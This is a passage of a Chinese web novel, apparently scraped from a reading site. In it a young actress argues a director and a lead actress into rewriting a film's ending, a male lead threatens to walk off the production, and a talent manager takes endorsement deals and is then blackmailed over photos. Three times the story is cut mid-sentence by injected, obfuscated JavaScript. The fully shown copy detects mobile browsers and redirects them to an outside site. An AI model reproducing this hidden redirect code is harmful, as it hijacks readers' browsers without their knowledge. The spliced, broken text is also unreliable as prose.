国内的爱情片在影院多是爆米花电影,男女主的相爱突兀且油腻,你爱我我爱你,大家一起甜蜜蜜,没有张力碰撞,人物弧光的情节铺垫。 而这些,正是爱情片里最重要的东西。 甘惊鸿之前看过这类书籍,她大致了解一些,虽不透彻,却能通用。 她只是站在单虹的角度来分析,一个学霸毕业后因为种种原因背了金融危机的锅,难道会心甘情愿的接受男主替她坐牢? 她是有自尊与尊严的,她不接受这样的结局,也不接受他人的自我感动式的奉献。 终于,在副导说到“刘导比较喜欢男女主的人设时”,甘惊鸿长时间凝视着副导的、安静的眼睛一下亮了起来,她露出个笑:“就是这个!” 副导被她这一笑晃了下神,拍拍自己的脸回神:“什么??” 甘惊鸿却一把拽住她往刘导房间走,声音清亮坚定:“副导姐姐,带我去找导演,我要——修改结局!” - 导演休息室。 刘导翻了两下甘惊鸿的剧本,对面沙发上坐着甘惊鸿与副导。 “你知道自己在说什么吗?” 刘导拧着眉头看甘惊鸿,将拍摄分镜剧本、布景设计内容等等摊在桌上,他不敢置信地敲着桌子:“修改结局,连曲静初都不敢跟我提这种要求,你觉得你凭什么提。” “而且就算结局改了,那跟你也没有半点关系,你只是作为学生时代的单虹参演,这对你有什么好处?” 刘导实在想不明白,这小姑娘又在闹腾什么。 甘惊鸿在剧组的这个把月来,为人处世都很招人喜欢,没戏份的时候就在监视器后面看,不吵不闹不作,俨然一个好好学生的样子,有时候还会拿着一沓试卷做题。 她突然提出这么个建议,刘导与副导都觉得离谱。 一是甘惊鸿咖位不够,她没什么背景,就算有个宫欢,也不足以让导演改剧本,毕竟这事关制片人,出品方各方面等等的问题,不是说改就改的,都需要上面审核。 二是就算改,这对甘惊鸿没有一分好处,那她图什么呢? 副导也没想到甘惊鸿这么莽撞,她劝解道:“改剧本没你想的那么简单,不是刘导和我能做主的事情,我们上面还有制片人、投资方,如果剧本太荒诞,引发几方不满撤资,那这部电影就白拍了!” 副导将事情说得比较严重,想让甘惊鸿知难而退。 面对两人略带不满抗拒的神情,甘惊鸿并没退缩,她正视刘导,问了个问题:“您觉得单虹是个怎样的人?” 刘导还是头一次遇见演员问他角色是个怎样的人。 他想了想,说:“比较优秀,自强的一个女孩。” “您觉得她有自尊心吗?” “这不废话,谁都有啊。”刘导更是皱紧眉头,“你到底想说什么?” 甘惊鸿仍旧穿着那身蓝白校服,身体坐的笔直,有些瘦,和高中生相差无几。 她抿唇笑了笑,说:“单虹成绩优越,每逢节假日必去兼职,到了大学更是经常获得奖学金来支付学费,她坚定,有自尊心,不怕吃苦,头脑灵活。” “那么,这样的一个人,在面对霸凌者的欺压,经济商业罪的陷害,她会接受男主挺身而出,背锅坐牢的结局吗?” 无需过多的言语,甘惊鸿只这么一段话,真诚而走心: “刘导,之前我不知道您是怎样的一个人,但是上次您能因为男女主的感情铺垫不足,而选择加戏,那么我相信,您是非常看重剧本里的人物逻辑的。” “这个剧本最打动您的地方是什么呢?是男主背锅女主痛哭失声,可惜她死去的爱情吗?女主有没有做过努力呢?她有去为了救男主而做出改变吗?她可以在男主小巷被霸凌的时候,不顾危险去救他,那为什么在这样重大的事情上,就选择了这样的屈辱呢?” 甘惊鸿每句话问得清楚,她的语感极好,字与字之间抑扬顿挫得恰到好处,让人很容易就将她的话听进了耳中。 副导有些惊讶地看着甘惊鸿。 她之前是编剧,最清楚如何塑造一个人物,如何编写剧情。 但很多时候,好的剧本并不能得到好的对待,演员的个人理解,服化道的适配度,还有实景拍摄,镜头语言…… 总有各种各样的外在因素干涉,一部剧想好好的出现在观众的眼中,实在太难了。 更别提如今有短视频、短剧的出现,一切都更倾向快节奏,苏爽甜,让人得到片刻的满足足以,何必去追求深度。 他们这些拍摄的人也跟着浮躁起来,有时候剧组里的人会在私下里质疑—— “真的要拍这么多遍吗?” “剧情能不能过审啊?回头又白拍了。” “完了完了,这个播出可能会被举报!” 一部电影将一个故事浓缩到一两个小时的剧情,每帧画面都需要细细琢磨,反复钻研,一帧画面里面要藏着许多的内涵隐喻,这才值得让人回味,反复刷。 制作好的作品需要耐心,扛得住压力。 副导微微叹气,她看向刘导,他的神色没刚才那么排斥了,有些动容。 刘导并没那么天真,这么容易就能被一个小演员的一席话说服。 道理谁都懂,但是现实因素太多了,那是比拍摄,制作电影还要复杂的事情。 “说这么多,你还是坚持要改剧本?”刘导抱起手臂,“现在所有剧情都拍完了,甚至已经杀青,就等我把拍摄的片段发给后期,【皎皎月明】就等制作了。” “年轻人有想法是好事,但是你改变不了什么,我也不会那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“这里女主调查的时候碰到男主,去男主家里做客发现了男主曾经上过那所高中,在女主逼问之下,男主才表明身份,说起曾经女主救过他,他被一个人霸凌——两个人发现都是同一个人。” “他们知道了对方的身份,于是开始调查霸凌者,经过一段调查后,女主将要被羁押时,男主找到了证据来救场,最后霸凌者被调查关押,女主无罪释放。” “男女主都曾救过对方一次,而且在调查的过程中有了些感情培养的过程,这难道不比男主突然蹦出来说我喜欢你很多年,所以为你坐牢好吗?” “这样的结局,女主的心里就只有感激和震撼——她没有爱啊!” 最后一句话落下时,刘导身体一颤,仿佛被点通了一直以来都滞涩不通的点。 拿到这部本子时,刘导看过单虹的坚强,男主的落寞,可让这两人能碰撞到一起的剧情却始终让他觉得差了些东西。 原剧本男主坐牢是他的高光点,他在那一刻所有积郁的情绪爆发,回头看失声痛哭的女主时,谁都会揪心难过,这部电影便以BE结局遗憾而终。 刘导一直以来都信奉,挑动情绪才能让人记住电影情节。 可甘惊鸿所说的结局,好像更有生命力了。 单虹会为了清白去调查真相,而男主则在这过程中与暗恋多年的女主接触,调查时被女主发现,那部分的情绪可以加大渲染一下,能更凸显男主暗恋多年的执着,而不是如昙花一现,死在结局的那一幕。 男女主这样的自然接触过程,比男主单方面的跟踪,观察,要更吸引人。 甚至其中还可以穿插一下两个角色有张力的情愫涌动。 爱情片的本质是——人物与人物之间的碰撞。 导演休息室里陷入一阵短暂的安静。 刘导肩膀微微松懈了下,仿佛是叹了口气。 他不得不承认,甘惊鸿,说服了他。 沉默良久,刘导转过身,甘惊鸿和副导都站在原地,一个个身体绷得很紧,像是等他说个准话。 刘导说:“真实情况拍摄起来根本没你说的那么简单,如果按照这个结局来拍摄的话,男女主后半段的戏份都要重拍,这可是个大工作量——” 刘导后面本还想说最重要的是延误拍摄的资金问题。 但他看着甘惊鸿紧张而期待的视线,还有一直圆滑世故的副导,竟也有些隐约的迫切。 剧组班底的资金大头主要花在了两位主演身上,其他拍摄的部分基本都被刘导把控的很好,与制片人抗一抗,也不是不行。 良久,刘导不自在地擦了擦鼻子,“制片人那边我还能说几句话,主演那边可不一定能答应,要是他们不演,想改也改不了。” 这话意思就是答应了!! 她成功了! 甘惊鸿这才敢大口喘气,她惊喜地睁着亮晶晶的眼睛,笑起来眼眸弯弯:“您放心,只要您答应,那边我去说!” 副导忙拉着她劝说:“你还真要改啊,这不是一两段剧情的事,结局会影响整部电影的基调,不一定有人能接受,那两位主演你都惹不起,别去了。” 甘惊鸿却反手拍拍副导,又看了眼刘导,颇有信心地说:“两位老师放心,只要你们答应,我就有办法!” 71. 修改结局2(甘惊鸿) 甘惊鸿的办法当然要找场外援助。 一出了导演休息室,她便急忙找出手机给人打电话。 穿着校服的女孩在单虹家的院子外来回踱步,焦急地自言自语,一度与电影中的单虹处境一模一样,面临困难,自求解法。 “——喂?” “欢姐!”电话一接通,甘惊鸿便迫不及待地将事情的来龙去脉几句话说清楚,“我要改剧本,你能帮我吗?” 电话那头,宫欢想都不想,一口应下:“改,这剧本我本来看着就挺胃疼的,只不过是碍于刘导面子一直硬夸,当初夸的时候我脑细胞死了不少——你遇到什么麻烦了吗?” 甘惊鸿说:“是的,我想问你知不知道——曲静初和高义南哪个腕大,电影涉及的投资方与制片人更看重谁一点?” “你等等。” 宫欢说了句,而后手机那边传来一些对话交谈声,又接连打了几个电话后,宫欢才回来。 “我查了一下,投资方更看重曲静初,不过现在有点复杂,曲静初和高义南cp绑得太死,有点受到影响。” 得到答案,甘惊鸿更是激动不已,原地连蹦好几下,喉间想发出的尖叫声被压下去,甘惊鸿应道:“谢谢欢姐,麻烦你啦,我知道我想要的答案了。” 宫欢不太放心地问:“你能应对吗?要不…我还是让高姐去给你撑腰,你一个新人,曲静初她们可能看都不会看你一眼。” 甘惊鸿却笑得自信满满:“相信我,我一定能做到。” 宫欢也跟着笑笑,语气懒懒却没有怀疑:“好啊,那我就等你搅他个天翻地覆。” 天翻地覆什么的倒不至于。 欢姐知道她是想报复回去,没有瞻前顾后之类的说辞,只是她想做什么,就帮她一起解决。 甘惊鸿知道,这行为对一个初出茅庐的新人来说,非常冒险,甚至是意气用事。 任何人都会劝她算了。 忍一忍,这是谁都要必经的过程。 吃吃亏,挨挨骂不少一块肉,以后有能力了就不会再有谁敢欺负她了。 可是,以后是以后的事,现在的她受了欺负,凭什么要以后的她来找回场子。 其实她这改剧本的反击并不算什么大的动作,只是将结局里男主的全部高光夺走了,改过后的剧本里,男主也拿到了证据送到法院。 女主多了很多戏份,尤其是法院审判的剧情,如果编剧可靠,多写点发人深省的台词,那单虹一定会活过来。 比起原来的结局,这一版的单虹更有主动性,她抗争过,调查过,并且相信自己一定会赢。 这就是单虹的高光点。 这也是甘惊鸿能争取到的最大的成功了。 来到曲静初的休息室门外。 甘惊鸿为自己做着心理准备,如何欲扬先抑,勾起曲静初的事业心。 还没等她想好措辞,休息室的门被人从里面打开,助理往外走,曲静初的声音从里面传出来:“记得买点消炎药回来。” 助理刚应完话,转头就见门口突兀地站着女二,她愣了愣:“你,你在这做什么?” 甘惊鸿默了默,她轻咳一声,指了指门后:“想和曲老师聊聊,她方便吗?” “谁啊?”曲静初在里面问。 “是甘老师,”助理回头,“说想找您聊聊......” “她?”门内的声音静了片刻,随即说,“让她进来吧。” 助理向甘惊鸿点头,将门打开,两人交错着,一出一进,门被带上。 甘惊鸿一进门内,就被休息室的装潢晃到了眼——簪花戴叶的化妆台,桌面铺了一层柔软的白毛毯,各类大牌护肤品化妆品摆了一桌,旁边则有两排鞋服装饰品,是私人服饰。 休息室灯光打了好几种,甚至比剧组打光都要好。 曲静初坐在沙发上,慵懒地倚在上面玩手机,看见穿着简陋校服的甘惊鸿进来,眼神上下扫了扫她,说不出的意味。 曲静初淡然地问:“你找我有事吗?” 甘惊鸿略有些紧张地站着,她点点头:“有的。” 曲静初看她这样,倒笑了笑,拿着手机的手随意指了指旁边的休息椅:“坐下说吧。” 甘惊鸿默默去搬了个休息椅,正襟危坐着。 她和曲静初没有任何对手戏,明明演的都是一个角色,两个人却和对方一点都不熟,话都没说过两句。 曲静初表面功夫还是做足了的,她坐直身子,将桌上摆放着的玻璃杯分给甘惊鸿一个,往里倒了些水。 “如果是想问微博的事情,”曲静初将水壶放好,看也没看甘惊鸿,“我都发了声明解释,对你没什么影响。” “不是这件事。”甘惊鸿捧着玻璃杯,低头看着杯中的水。 曲静初这回倒不明白了,她微蹙眉看甘惊鸿:“那你是为了什么来?” 甘惊鸿抬眼,正视曲静初:“其实,是拍摄的事。” “什么?” 甘惊鸿按照做好的措辞稿慢慢说:“曲老师,我是第一个进组的人,之前说要演这个角色的时候,我一直在想单虹是什么样的人,我不停地研究剧本,对她有了一些了解之后,我又想——那她成年后又会是什么样?” “我只是您的一个过往角色,但是如果想要塑造同一个角色,必定要了解对方,”甘惊鸿说,“我当然知道,我没资格让您了解我,所以我去了解了您。” 曲静初有些惊讶地注视着甘惊鸿,她抱起手臂靠后坐,没有打断的意思,这更让甘惊鸿有了点信心。 “在剧组的这段时间里,我看过您的十几部电影电视剧、个人访谈、综艺节目等等,我熟悉您的很多细微表情与动作,您给了我很大的灵感帮助,让我在塑造单虹这个角色的时候更有了些笃定——” “我不知道您会怎样去演绎,诠释单虹,但是我想您对这个角色的理解一定很深刻。” 甘惊鸿说话时不紧不慢,专注地看着对方的眼睛,“因为跟您没有对手戏,为了尽量不出戏,我用了一些您常常用的一些小动作、微表情融合到了少年单虹身上,希望您不会介意。” 曲静初听了这么一大长串话,大多意思都是在捧她,赞美她。 曲静初想到之前对甘惊鸿的第一印象,或许,她对她的感觉没有错,只是被人有意的引导带歪了。 但是,曲静初还是公式化的回答:“没关系,你是个很认真用心的演员,以后会有更好的角色,谢谢你的喜欢。” “你来,就是为了说这些?”她不确定地问,总觉得这小姑娘还有话没说完。 铺垫得差不多了。 甘惊鸿深吸一口气:“其实,我这次来,是想跟您商量一件事。” “我就知道,你说吧。” “我想修改结局,”甘惊鸿说,“修改男主替单虹坐牢的结局。” “什么——?”曲静初声音骤然拉高,她不敢置信地看着甘惊鸿,“你凭什么改结局?剧本是你能改的吗!?” 这段剧情以高义南饰演的男主走进监狱,回头与痛哭的单虹对视作为结局,这段戏份的大部分情绪与高光都在高义南身上。 曲静初之前翻了翻剧本,她的表演经验使她一眼就看出来了—— 剧本瑕疵很多,人物不立体,但魅力点在于,主演是她与高义南,两人四搭,又有cp粉,足够炒出噱头。 这部电影不出彩,只是有些偏粉丝向的电影,看个开心就好了。 而他们,也当做拍个娱乐片,差不多就行了。 甘惊鸿这是想整哪出? 曲静初想,这姑娘是不是想给自己加戏份,往上爬的野心有点太强,惹人不适。 这么想着,她说话也没好腔:“你是觉得戏份少了,想加戏?那也改不到结局去啊,让导演给你前期加点‘好好学习,天天向上’的镜头,不就好了吗?” “姑娘,结局不是你想改就能改的,”曲静初说,“别怪我说话难听,你还没这个资格。” 曲静初:“你看微博了吗?” 甘惊鸿:“看了。” “那你还来找我改结局?怎么想的啊?” 甘惊鸿似乎早有预见,知道曲静初会排斥,并不气馁,继续拿出那套说辞,只是换了一种说法: “曲老师,您不觉得电影后期的部分里面,您饰演的单虹角色的人物戏份,比起高老师的角色弱势了很多吗?” “差不多吧,”曲静初这时有些不耐烦,不想多听,“爱情片就是这样,总要有一方出彩。” “不!” 甘惊鸿声音略大,她表情严谨,似乎把这件事看得非常重,她语速极快,怕再不说就说不出来了: “您在后期被上司霸凌,被当做经济罪的替罪羊,这些屈辱压在您这么有自尊的人身上,难道您就不想推翻这些欺压吗?” 曲静初神情略作迟疑。 甘惊鸿一看就是有戏,她将水杯放回桌上,更进一步:“原版结局您没有任何反抗,只是被动的推着走,直到男主出现,好像才找到了一个救星——请问,您是一位从来坚强优秀的学霸,只是一次陷害,您就放弃自救了吗?只有男主才能来救您吗?” 甘惊鸿没有用单虹的名字,而是直接将曲静初预设为角色本人,这样更能让人有代入感,才能切身体会地思考。 曲静初沉默了,那就说明她听进去了。 这时,甘惊鸿一鼓作气: “其实剧本有更好的待选结局,单虹在经济罪名压下来之后自发去调查真相,期间与男主不谋而合地调查起来。” “在这期间,两人成年后的情愫才慢慢建立起来,霸凌者发现你们在调查时,不断出手阻止,直到最后一场高潮重点戏份,您在法院接受审判,证据被摧毁大半,但还有一个可能,只要在霸凌者发现前拿到证据,就能绝地翻转——” 甘惊鸿的语速略快,字与字之间的余韵却不断连,听起来非常耐人回味,仿佛那段话从脑中略过,一下记住。 曲静初不知不觉地,竟就全部听了进去,随着甘惊鸿所说的内容去想象这样的电影镜头——跌宕起伏,情节翻转不断,甚至在最后还有悬念勾着人心。 她不由得问:“然后呢?” 甘惊鸿紧悬的心瞬间放回了肚子里。 她如释重负,她知道,自己成功了。 “您在法院上为自己辩解,这段是您的发言高光点,台词可以说明您的不屈不挠,坚毅自强,而在审判将要落下时,男主浑身是伤的拿到了证据,赶到现场。” 后面不用再说,基本就是一些收尾镜头。 说完一切后,甘惊鸿闭上嘴,给曲静初留白,让她消化这些内容。 以前跑龙套的时候,很多群演朋友都常常劝甘惊鸿—— 你要学会争,学会抢,才能在这个圈里有一席之地。 如果什么都不做,那就只有泯然于众人。 甘惊鸿之前不太理解这一点。 争和抢给人一种很凶残的感觉,好像与全世界为敌似的。 可她现在越来越觉得,争,是为自己争取机会与利益,抢,是抢回属于她的尊严。 过了许久,曲静初呼出一口气,她倒了杯水,喝起来。 “这一版结局确实不错,”曲静初看过无数种角色与剧本,一听就知道,这个角色有亮点,人物更立得住,只是,“但改结局,对你有什么好处,这全是我和高义南的戏份,你还把他的高光坐牢戏改了,呵。” 改的就是他。 甘惊鸿表情不变,仍是诚恳的态度:“因为我看过您的很多角色,我知道您是非常有特点,有坚持的演员,即使这是一部普通的爱情片,您也可以大放光彩。” 曲静初没那么排斥甘惊鸿了,她知道她一直在等她点头。 原版结局确实削弱了曲静初的发挥空间,更多的在替罪戏份,整部电影剧本仿佛就只是为了这点高光而活。 原先曲静初只是看在四搭的份上,不在意剧情,但经过甘惊鸿这些剧情改编后,她觉得,这样的情感碰撞,比之前更有张力。 曲静初是比较喜欢的。 这两天经纪人那边因为cp粉的事跟她吵了好几次,要求他们必须划清界限,以后不许合作。 她也不是年轻人了,知道怎么做自己才最得利。 “这件事我需要和导演谈谈,暂时还不能给你确定的答复。” “当然,”甘惊鸿理解地说,“我明白的,那我就先不打扰您了,您好好休息。” 甘惊鸿从休息椅中起身,朝曲静初微微鞠躬道谢,然后转身朝外走。 “......微博的事情,抱歉了。” 曲静初这样的大腕,早已养成了居高临下的态度,错就错了,无伤大雅。 但她还是选择了道歉,为她的冲动。 走到门外的甘惊鸿没有回头,她抿唇笑了笑,眼眸清明:“没关系,这不是您的错,我知道是谁在针对我。” 等人走后,曲静初看向门口,片刻后,笑着摇头:“现在的年轻演员,脾气还挺倔。” 也是她一时被他人的一面之词迷惑,差点把小姑娘的演艺生涯给毁了。 - 刚杀青没两天,《皎皎月明》剧组又重启了拍摄计划,整个剧组的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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高义南又将剧本摔开,推开房车的门,怒气冲冲走出去。 迎面撞上刘导正和曲静初说戏,他更是冲过来质问两人,他气得面色涨红,好不丑陋: “刘导,我的戏份怎么全都改了,你们有什么权利改!?改剧本的事情我一点都不知道,没一个人告诉我,怎么,不把我当回事?” 高义南叉着腰,两眼的眼白布上了血丝,丝毫风度都没有,优雅人设全崩:“好,你们敢改剧本,那我就罢演!!” 刘导与曲静初对视一眼,缓和道:“高老师,这个剧本改动是经过制片、投资审核过的,他们看过之后都觉得改后的本子比之前要更有情绪爆点,这对您和曲老师都是好事。” “好事?好在哪儿了?” 高义南扯着嘴角笑,凉薄地看了眼曲静初,“我现在和她解绑了,要减少互动,现在你们改过剧本之后不更加坐实了cp粉的猜测,你们知道这对我有多大的影响吗?亏损几百万,你们谁负担得起!?” 曲静初穿着一身职业装,身姿端正窈窕,她拿着剧本,不紧不慢地看向高义南: “电影是电影,现实是现实,拍完之后我们不联系不互动,也没人会说什么。现在都快拍完了你担心cp粉,那之前怎么没见你担心啊。” 两人本就是剧组情侣,感情没多好,只是距离产生美,偶尔一起拍戏才有新鲜感。 确定解绑后,都看得清,分得开,毕竟都是老演员了,谁也不会爱谁爱得死去活来。 高义南脸色铁青: “你少说风凉话,戏份给你加了不少吧,曲静初,我就知道投资方有你的人,剧本改动我一点消息都不知道,你们全都玩先斩后奏,瞒着我一个人!” “我罢演!!你们自己拍去吧!” 高义南说着,气冲冲地转身往房车走,没走几步,便碰见穿着校服坐在一边休息的女二。 这个名不见经传的女二脸上露出浅淡的笑意,眼眸里带着一种难以分辨的情绪。 高义南皱了皱眉,快步进了房车,他后知后觉的想起—— 那情绪,好像和拍雨戏那天,他眼中的情绪,如出一辙。 …… 甘惊鸿走到两人身边,难免有些担忧道:“高老师要罢演,怎么办?” 她倒不是装,是真有点担心,罢演的话,电影的进度会更加复杂,所有镜头全都要重拍,剧组负担不起,刘导也负担不起。 没想到曲静初很笃定地说:“他不会罢演的。” “为什么?”甘惊鸿好奇地问,“您有办法吗?” “合约写了啊,”曲静初和刘导相视一笑,“罢演要支付三倍违约金,而且投资方和制片人都是业界有名的人物,他罢演就是在砸场子,一不小心老脸都保不住。” 原来如此。 甘惊鸿彻底安了心。 “小甘!快过来,看看这段台词怎么样!” 副导在监视器那边奋笔疾书,乱糟糟的一窝头发上插了两支笔。 剧本改过之后,副导也参与进剧本修补的工作中,但她工作范围太广,一个人根本忙不完那么多,于是便经常拉着甘惊鸿,从她的小脑袋瓜里挖东西。 “来啦来啦!”甘惊鸿回道,她向曲静初和刘导说,“那我先去忙啦。” 两位老师点点头。 等人跑远了,两人你一句我一句地嘀咕:“她还真有点东西。” “看不出来,新人能这么投入专注一件事。” “好苗子啊。” …… 因为改动了大部分的剧情,拍摄过程中很多地方都在花钱。 甘惊鸿发现一切好像没有她想象中那么简单,不是几句话就改完了一段剧情。 大家要为这段剧情去修补各种细节,从道具到镜头,从天气到盒饭。 为此,她有些内疚,资金的问题一定也影响着导演。 甘惊鸿最后决定——支援剧组。 她攒的钱不多,只有几万块,也是个心意了。 于是在某个夜晚,甘惊鸿悄咪咪地用小号转账给了刘导,并备注—— 一个心善的投资人,钱尽管用,不用还。 第二天,刘导就找到了甘惊鸿,举着手机的转账消息:“这是你转的?” 甘惊鸿拙劣地演技凸显出来,她眼神飘忽,结巴着:“不,不是啊,我不知道是谁。” “......”刘导颇觉好笑,“转账人名字的略写叫,x惊鸿,是有点难认哈。” 甘惊鸿:“......” “我就收下你的这点心意了,回头换成片酬发给你。”刘导说,“你都充当编剧,替我们修改剧本了,总要给你发点‘工资’。好好拍戏吧,你一定会是个非常优秀的演员。” 说完,刘导便离开了。 甘惊鸿站在原地,消化了很久那句话。 转而又想到,网上说她带资进组,这下,她好像真的坐实了这个说法。 72. 代言 别墅,正厅。 茶几上摆着三颗榴莲,身着灰色运动套装的短发女人深呼吸,吐气。 右手缓缓运起,而后用力挥下,手掌劈砍在榴莲上,坚硬外壳顿时裂开几条缝隙,咔地一声,整颗榴莲的外壳自然开裂。 “哇!” “牛啊!!” “英姐太神了!” 茶几另一边趴着四人,依次是奚亭云三人和赵莉莉。 赵莉莉戴上一次性手套,伸手拨开一块榴莲壳,将榴莲肉装进瓷盘中。 “还是英子厉害,”赵莉莉笑说时往旁边三人那瞥了一眼,悠悠道,“比他们靠得住多了。” 萧子重不甘心地反驳:“我那是没练过,不然我也行。” 关清英一鼓作气,将另外两颗榴莲接连劈开,准备收手时,安声将一个西瓜也抱上了桌。 他双眼亮晶晶地看着关清英,把西瓜推到她面前:“英姐,这个这个,我不爱吃榴莲,我要西瓜!” 关清英默了默,又运气抬手将西瓜劈开。 接着又收获了一阵哇哇的艳羡声。 旁边的木质楼梯上,宫欢正打着电话走下来。 她笑眯眯地拿着手机,语气惊喜:“成功改了结局?真的!?” “我就知道你能行,看着柔柔弱弱一个小姑娘,也是很有自己的主见嘛,”电话那边不知又说了什么,宫欢应了声,“好,你去忙吧,杀青之后有剧宣路演的行程,到时候我看看能不能去陪你。” 挂了电话,宫欢便看见楼下一群人围着茶几,纷纷注视着关清英,仿佛发现了好玩的事情。 “英子,你别理他们。” 宫欢来到一楼,手中拿着几叠文件,她往这边探头看了看,啧啧道,“你们把英子当机器用啊,厨房一堆水果刀不用,就让她硬劈。” 几人啃着西瓜榴莲,含含糊糊地叽叽咕咕回话。 也就奚亭云吃相斯文,说话清楚点:“她很厉害。” 关清英拿着纸巾擦手,仿佛在擦刀一样:“没事,我刚好拍完戏了没什么事,陪大家玩一玩。” 关清英的间谍角色杀青有一段时间了,她也是昨天才回来。 “别惯着他们,不然容易飘。” 宫欢将手中文件翻了几下,找出几份放在木质桌面上。 待三人将头探过去,宫欢扬起下巴说:“你们三个的流量还不错,有几家品牌方想找你们代言,喏,都在这了,你们看看。” 奚亭云抽了两张纸巾擦手,拿起文件翻看。 安声和萧子重一左一右地挨着他一块看。 “丝滑巧克力,给你不一般的丝滑体验。”安声念道。 “爸爸牌洗衣液,呵护爸爸的双手,让爸爸更安心......”萧子重顺着往下念。 “超厚卫生巾,怎么翻都不漏......这个,也要找我们代言吗?” 奚亭云有些迷惑地看了眼宫欢,他实在不太明白,卫生巾不应该找女星吗? 萧子重没忍住吐槽:“就不能有点高大上的代言吗?” “就你们这初出茅庐的新人,能有代言找你们就不错了,还挑挑拣拣,”宫欢咳了咳,理直气壮道,“这几个已经算是比较好的代言了,其他更离谱的我都没给你们。” “真的假的,我不信!”萧子重伸手抢过宫欢手里的几份文件,扛住宫欢的猛打念出来。 “——神话化肥,用了就出神话!?” “——钢铁门窗,灭霸当场惨败!?” “自然矿泉水,来自天然的矿泉水,”萧子重举着这份代言,用手拍了拍,“这个怎么不给我们安排,矿泉水的使用范围多广啊。” 宫欢看萧子重像在看傻子,刚才打了他几下手都疼,她晃晃手: “你要不去上网搜搜,这家品牌暴雷有多厉害——有新闻报道,他们长期收集来自老天爷馈赠的无根之水,黄河母亲的奔腾江水,够自然吧。” 几人沉默。 赵莉莉小口地吃着榴莲,优雅自然,她看好戏似的: “要我看,你们就选卫生巾和洗衣液好啦,巧克力的品牌方可能会找其他女星合拍,毕竟糖果嘛,要甜蜜,肯定就要有俊男靓女一起拍广告才养眼呀。” 萧子重不甘示弱地争道:“洗衣液我还能接受,那卫生巾怎么看都不合适啊。” 宫欢小声提了嘴:“卫生巾给的钱多,而且你们的粉丝受众里面女性偏多,她们的购买力,可是能决定你们的品牌影响力。” “所以你就把我们卖了!” “诶,这不是把你们卖了,”宫欢更正道,“是把你们当摇钱树,谢谢。” 奚亭云若有所思地点头,似乎对这称呼很有心得。 萧子重嘁了声,将一叠文件翻到下面,看见几份彩妆文案,他抽出来看:“怎么连彩妆都有了——” 宫欢伸手,将文件夺回来时没忘抽了下他:“别乱翻,彩妆代言还轮不到你,这当然是我们的莉姐啦~” 众人将目光纷纷投向赵莉莉,她正从容淡定地吃瓜,见人都看她,柔柔笑道:“怎么了?” “为什么莉姐刚来没多久就有代言啊,”安声颇为羡慕,他抱着靠枕靠近赵莉莉,“莉莉姐,我们用卫生巾代言跟你换好不好?” 赵莉莉还没说话,宫欢先瞪他一眼:“换什么换,人家的代言是跟着人过来的,品牌方就认她这个人,你莉姐的时尚资源比你们强多了。” 奚亭云微微叹气:“羡慕。” 萧子重惆怅:“嫉妒。” 安声:“唉......” - 定下品牌代言后,宫欢代三人签约。 卫生巾品牌方给了三百万,差不多是一人一百万的费用,宫欢每人抽成80万,而这抽出的钱,后续还要砸回三人身上。 她的抽成方式是根据收益来源而定,并不固定,但有最高上限和最低下限,不会太黑心,也不会太好心的程度。 巧克力和洗衣液品牌方共给了七百万,总体来说这个钱给的算是比较多,有几分看在宫欢的薄面上给的意思。 还是不够火。 宫欢带着三人前往摄影棚拍摄广告片。 最近她经常跟在三人身边,方便随时调整。 主要也是他们不太靠谱,像甘惊鸿她们,宫欢就很放心。 关清英不喜欢有助理跟着,多是自己独来独往,而赵莉莉则有自己御用助理,宫欢也就没多插手。 男团三人目前算是走上正轨,甘惊鸿需要时间培养,赵莉莉还在选剧本,唯一让宫欢拿不准主意的是关清英。 只能走一步看一步了。 到了录制影棚,宫欢将三人丢给专业的摄影师、造型师,自己则与品牌方的人商业交谈。 叮——信息铃声响起。 宫欢朝品牌方的工作人员礼貌笑笑,看了眼手机屏幕: 一张有些模糊,人却能看清的照片里,她的手抚着一个青年的手臂,两人有些亲密地进了奢侈品商场。 一张奚亭云的衣服被水打湿,浑身泡沫的站在她面前的照片,照片里奚亭云的腹部肌肉纹理都被勾勒得清晰,她低着头伸出了手,不知道是要做什么。 每张照片都拍得暧昧而朦胧,就像是故意引导人往那方面想。 宫欢眼睛登时瞪大,她连忙捂住手机屏幕,躲到一边回忆这两张照片来自哪里。 安声那张照片,貌似是她准备买礼品去他家作客那回。 奚亭云那张,则就是前几天洗衣液品牌方发来的几件洗衣液福利,让他们试用。 奚亭云在洗衣服时一不小心倒多了,造成洗衣机泡沫往外冒了一地。 他进去的时候不慎滑倒,那会宫欢刚好在他后面不远处的位置,听见动静便过去看。 宫欢回想起来就浑身鸡皮疙瘩直往外冒。 她丝毫不想回忆奚亭云当时黏腻的声音,以及他穿着薄的近乎透明的衣服,被水浸湿后,青筋与微微凸起的肌理若隐若现。 “欢欢,湿掉了。” 宫欢的脑子一下炸开,她疯狂晃了晃头,拼命摇掉那些误入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126363|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的回忆。 她只记得自己非常好心地拿了干毛巾递给他,所以才会有伸手的那一动作。 这都能被拍成这样!? 思索间,短信又发来一条:【宫欢,不想被人知道这些秘密的话,晚上八点,拿200万送到这个地址——定位:野岭坡,这里有个黑色的垃圾桶,把钱放进去。】 宫欢盯着这条消息。 她,被敲诈了?? 男团最近风波正盛,要是被绯闻事件干扰,宫欢岂不是前功尽弃!? 这些狗仔,明明知道她所居住的别墅就是工作室,而且生日宴期间,她请过几家媒体做客,多数都会顾及一点,不报道她的隐私。 这可能是野路子来的狗仔,不顾行业规则,只为赚钱挖料。 没办法,只能花钱了事。 她当即拎起包就准备去取钱解决这件麻烦事。 